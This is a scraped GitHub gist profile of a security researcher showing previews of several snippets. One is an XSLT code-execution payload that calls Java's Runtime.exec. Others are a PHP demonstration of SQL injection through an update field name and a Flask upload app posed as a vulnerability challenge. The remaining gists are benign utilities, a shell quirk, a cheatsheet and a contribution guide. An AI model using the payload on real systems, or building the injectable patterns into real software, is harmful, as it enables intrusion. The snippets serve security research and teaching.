Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
Focusing

Owen Gong phith0n

🎯
Focusing
View GitHub Profile
View select.xslt
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<!-- #113 Methodref: java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; -->
<!-- #119 Methodref: java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process; -->
<!-- #114 Utf8: open -a calculator -->
<!-- #115 String: touch /tmp/pwn -->
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>
<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
<!-- #132 Utf8: <init> -->
<AAA select="&lt;init&gt;"/>
@phith0n
phith0n / download.php
Last active July 22, 2021 04:16
progress enabled file server
View download.php
<?php
set_time_limit(0);
$filename = 'bigfile.txt';
$f = fopen($filename, 'r');
$i = 0;
$chunk = 2;
$each = 100 / (filesize($filename) / $chunk);
while (true) {
@phith0n
phith0n / regenerate.py
Last active May 21, 2021 10:09
a simple regexp generator
View regenerate.py
import re
from enum import Enum
class State(Enum):
Initial = 0
D = 10
DRest = 11
S = 20
SRest = 21
@phith0n
phith0n / field.php
Last active April 25, 2021 10:07
SQL injection in the update field key.
View field.php
<?php
$db = new PDO('sqlite::memory:');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->exec("CREATE TABLE user (id int, username string, password string);");
$db->exec("INSERT INTO user VALUES(1, 'admin', 'admin');");
$db->exec("INSERT INTO user VALUES(2, 'demo', 'demo');");
$summary = $_REQUEST['field'];
$bind_vals = [];
$sql_set = ' ';
@phith0n
phith0n / output.txt
Last active January 13, 2021 08:06
一个离奇的Shell问题(请在Linux下运行,MacOS下运行会出错)
View output.txt
root@b3324f24e6c0:/tmp# ./sample.sh -n Bob -a
Arg: -n
Arg: Bob
Bob
Arg: -a
-a
Arg: --
--
@phith0n
phith0n / README.md
Created July 16, 2019 08:51
跑一跑微博被和谐的图
View README.md

跑一跑微博被和谐的图

sinaimg子域名,跑一遍即可。

@phith0n
phith0n / README.md
Last active October 5, 2019 14:07
梧桐百科投稿指南
View README.md

梧桐百科投稿指南

梧桐百科是一个碎片化安全知识学习平台,我们将细小的知识点(tricks)写入卡片,以卡片的形式让学习者对知识的认识程度更加深刻。

我们接受用户投稿,大家可以把自己觉得优秀的碎片化知识发送给我们,投稿地址:https://tricking.io/card/contribute/

投稿步骤

投稿前,请先搜索,可能你的知识点已经被梧桐百科收录。

@phith0n
phith0n / tmux-cheatsheet.markdown
Created April 27, 2018 05:18 — forked from ryerh/tmux-cheatsheet.markdown
Tmux 快捷键 & 速查表
View tmux-cheatsheet.markdown

Tmux 快捷键 & 速查表

启动新会话:

tmux [new -s 会话名 -n 窗口名]

恢复会话:

tmux at [-t 会话名]
@phith0n
phith0n / app.py
Last active March 8, 2021 07:52
一个小挑战(For Windows):这个代码中可能存在什么漏洞
View app.py
import os
import posixpath
from werkzeug.utils import secure_filename
from flask import Flask, redirect, url_for, abort, request, send_file
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'upload')
def allowed_file(filename):
return '.' in filename and \
@phith0n
phith0n / chrome_install_headless.sh
Last active December 10, 2021 08:56 — forked from Leotomas/chrome_install_headless.sh
Install Chrome headless on Ubuntu
View chrome_install_headless.sh
export CHROME_BIN=/usr/bin/google-chrome
export DISPLAY=:99.0
sh -e /etc/init.d/xvfb start
sudo apt-get update
sudo apt-get install -y libappindicator1 fonts-liberation libasound2 libgconf-2-4 libnspr4 libxss1 libnss3 xdg-utils
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome*.deb